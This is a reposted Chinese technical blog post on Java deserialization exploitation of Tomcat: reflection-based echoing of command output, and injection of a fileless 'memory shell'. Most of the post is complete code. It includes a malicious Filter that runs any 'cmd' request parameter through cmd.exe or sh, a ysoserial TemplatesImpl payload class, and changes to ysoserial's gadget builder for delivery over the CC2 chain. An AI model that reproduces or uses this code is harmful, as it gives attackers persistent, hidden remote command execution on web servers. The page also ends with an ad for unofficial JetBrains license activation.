大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。
Java安全之反序列化回显与内存马
0x00 前言
按照我个人的理解来说其实只要能拿到Request
和 Response
对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在Tomcat 全局存储的Request
和 Response
对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储Request
和 Response
对象的地方。
0x01 Tomcat通用回显
根据Litch1师傅的思路来寻找request
,response
对象全局存储的位置基于全局储存的新思路 | Tomcat的一种通用回显方法研究
根据该文章思路得知,在Tomcat启动的时候会调用该位置的dorun方法
由图可见,调用栈会来到创建Http11Processor
对象这一步,Http11Processor
继承AbstractProcessor
类。而AbstractProcessor
类中可见有Request
,Response
这两对象。并且为final修饰的,赋值后不可被更改。
那么此时我们只需要获取到这个Http11Processor
对象即可获取到Request
,Response
。继续跟进查看Http11Processor
对象在哪进行存储。
调用this.register
将前面创建的Http11Processor
对象进行传递。而后调用processor.getRequest().getRequestProcessor()
获取RequestInfo
。
调用获取到的RequestInfo
,这里为rp
。rp的setGlobalProcessor
将global进行传递,而setGlobalProcessor
方法里面会调用global.addRequestProcessor
将rp添加进去。
跟进进去发现,processors为一个ArrayList
,里面存储RequestInfo
类型的数据。
所以整体的思路下来我们需要获取AbstractProtocol$ConnectionHandler
类 -> 获取global变量 ->RequestInfo->Request–>Response。
再往后需要寻找存储AbstractProtocol
类或继承AbstractProtocol
类的子类。
这里寻找到的是Connector
成员变量中为protocolHandler
属性的值,而 Http11AprProtocol
类实现了该接口。
所以获取request的处理请求是
Connector
—>AbstractProtocol$ConnectoinHandler
—>global
—>RequestInfo
—>Request
—>Response
而在Tomcat启动过程红会将Connector放入Service中。
而现在获取完成的流程是
StandardService
—>Connector
—>AbstractProtocol$ConnectoinHandler
—>RequestGroupInfo(global)
–>RequestInfo
——->Request
——–>Response
那么这时候如何获取StandardService
成为了问题的一大关键。
文中给出的方法是从Thread.currentThread.getContextClassLoader()
里面获取webappClassLoaderBase
,再获取上下文中的 StandardService
。
最后调用链为
WebappClassLoaderBase
—>
ApplicationContext(getResources().getContext())
—> StandardService
—>Connector
—>AbstractProtocol$ConnectoinHandler
—>RequestGroupInfo(global)
—>RequestInfo
——->Request
——–>Response
package com;
import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService)service.get(ApplicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[])connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);
Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);
Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
response2.getWriter().write("111");
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
这里是借助了获取到的Request
和Response
来输出结果。再来修改一下代码。
package com;
import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService)service.get(ApplicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[])connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
// AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);
Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);
Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
response2.getWriter().write("111");
InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();
// BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami);
BufferedInputStream bis = new BufferedInputStream(whoami);
int b ;
while ((b = bis.read())!=-1){
response2.getWriter().write(b);
}
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
将命令执行结果使用获取到的Request
和Response
来输出。
坑点记录
- 开始想直接获取内部类发现思路不通,后来采用
getDeclaredClasses
方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。 - 获取
global
遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。 - 获取到
Request
需要调用request.getNote(1);
转换为org.apache.catalina.connector.Request
的对象。 - fanal修饰变量,需做修改,直接获取报错。
通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象
0x02 Tomcat半通用回显
基于Tomcat中一种半通用回显方法该篇文来调试一下。
根据前文思路顺着堆栈一路向下查看Request和Response存储位置,只要获取到一个实例即可。
顺着思路,在org.apache.catalina.core.ApplicationFilterChain
位置发现符合条件的变量。
下面寻找赋值位置,发现在这个位置对request,response进行实例的存储。但是默认为False
思路如下:
1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
,让代码逻辑走到if条件里面
2、初始化lastServicedRequest
和lastServicedResponse
两个变量,默认为null
3、从lastServicedResponse
中获取当前请求response,并且回显内容。
自己尝试构造了一下
package com;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
@WebServlet("/testServlet")
public class testServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);
wrap_same_object.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal<>());
lastServicedResponse.set(null,new ThreadLocal<>());
ServletResponse servletResponse = responseThreadLocal.get();
servletResponse.getWriter().write("111");
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
同理,可集成到yso中,反序列化命令执行结果借助该servletResponse。
局限
在shiro反序列化漏洞的利用中并不能成功,发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response。其原因是因为rememberMe功能的实现是使用了自己实现的filter。
0x03 内存马构造
前文的基于Tomcat实现内存马中只是借助Servlet直接去进行动态添加Filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。
下面再来构造一个完整的。
获取到ApplicationContext
调用addFilter方法直接将恶意Filter添加进去发现并不行。
ApplicationContext.addFilter(filterName,new ShellIntInject());
断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
修改完成后,再来看到addFilter中,this.context.findFilterDef
也就是寻找StandardContext
中的filterDef
,所以我们需要添加到filterConfigs
、filterDefs
、filterMaps
。
在添加filter前,通过反射设置成LifecycleState.STARTING_PREP
,添加完成后,再把其恢复成LifecycleState.STARTE
,需要恢复,否则可能导致服务不可用。
//添加拦截路径,实现是将存储写入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
后面再来看到StandardContext
中filterStart
方法会遍历所有filterDefs
实例化ApplicationFilterConfig
添加到filterConfigs中
this.filterConfigs.clear();
Iterator i$ = this.filterDefs.entrySet().iterator();
while(i$.hasNext()) {
Entry<String, FilterDef> entry = (Entry)i$.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}
return ok;
}
}
前面我们的调用addfilter
方法的时候已经将 对应的filterDef
给添加进去,我们只需要调用该方法即可实现filterConfig
的添加。
//调用filterStart方法将filterconfig进行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext,null);
最后,需要将filter位置进行调整。
在调试中途,部分代码抛出异常并没有直接执行state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
会导致tomcat直接503。无法进行正常访问,需重启。
完整代码
package com;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
@WebServlet("/testServlet")
public class testServlet extends HttpServlet {
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "cmdFilter";
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);
wrap_same_object.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal<>());
lastServicedResponse.set(null,new ThreadLocal<>());
ServletResponse servletResponse = responseThreadLocal.get();
ServletRequest servletRequest = requestThreadLocal.get();
ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是ApplicationContextFacade
if (servletContext!=null) {
//编写恶意Filter
class ShellIntInject implements javax.servlet.Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("s");
String cmd = servletRequest.getParameter(cmdParamName);
if(cmd!=null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
filterChain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
//获取ApplicationContext
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);
//获取standardContext
Field context1 = ApplicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
//注册filterName
FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
//添加拦截路径,实现是将存储写入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
//调用filterStart方法将filterconfig进行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext,null);
//移动filter为位置到前面
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
servletResponse.getWriter().write("Success");
state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
但这并未完,虽然我们借助了代码执行获取到Request
和Response
后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。
0x04 改造yso
将前面代码扣下来,并且继承AbstractTranslet
,后面需要使用TemplatesImpl
类去动态加载该类。
package ysoserial.exploit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
public class TomcatShellIntInject extends AbstractTranslet {
private final static String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "cmdFilter";
static {
try {
Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
wrap_same_object.setAccessible(true);
//修改final
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);
boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
wrap_same_object.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
ServletResponse servletResponse = responseThreadLocal.get();
ServletRequest servletRequest = requestThreadLocal.get();
ServletContext servletContext = servletRequest.getServletContext(); //这里实际获取到的是ApplicationContextFacade
if (servletContext != null) {
//编写恶意Filter
class ShellIntInject implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter(cmdParamName);
if (cmd != null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = servletResponse.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
//获取ApplicationContext
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);
//获取standardContext
Field context1 = ApplicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP
Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
//注册filterName
FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
//添加拦截路径,实现是将存储写入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});
//调用filterStart方法将filterconfig进行添加
Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
filterStart.setAccessible(true);
filterStart.invoke(standardContext, null);
//移动filter为位置到前面
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
servletResponse.getWriter().write("Success");
state.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
yso中createTemplatesImpl
稍做修改
public static Object createTemplatesImpl_shell ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
final byte[] classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);
// final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
这里拿cc2链来测试,复制cc2链代码。将getObject方法修改
final Object templates = Gadgets.createTemplatesImpl_shell(command);
github:https://github.com/nice0e3/ysoserial-master
但实际并不能直接使用,因为需要该回显要先修改属性,然后再进行获取回显。可截取出来分为2个包去发送。
0x05 Reference
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
0x06 结尾
说到底,其实中间件回显就是获取Request
和 Response
对象,拿到以后借助拿到的Request
和 Response
对象进行回显,而内存马则是使用获取到的这两对象从而获取到Context
进行动态添加Filter。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell。同理,只需将恶意Fliter修改成冰蝎的shell即可。
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119868.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...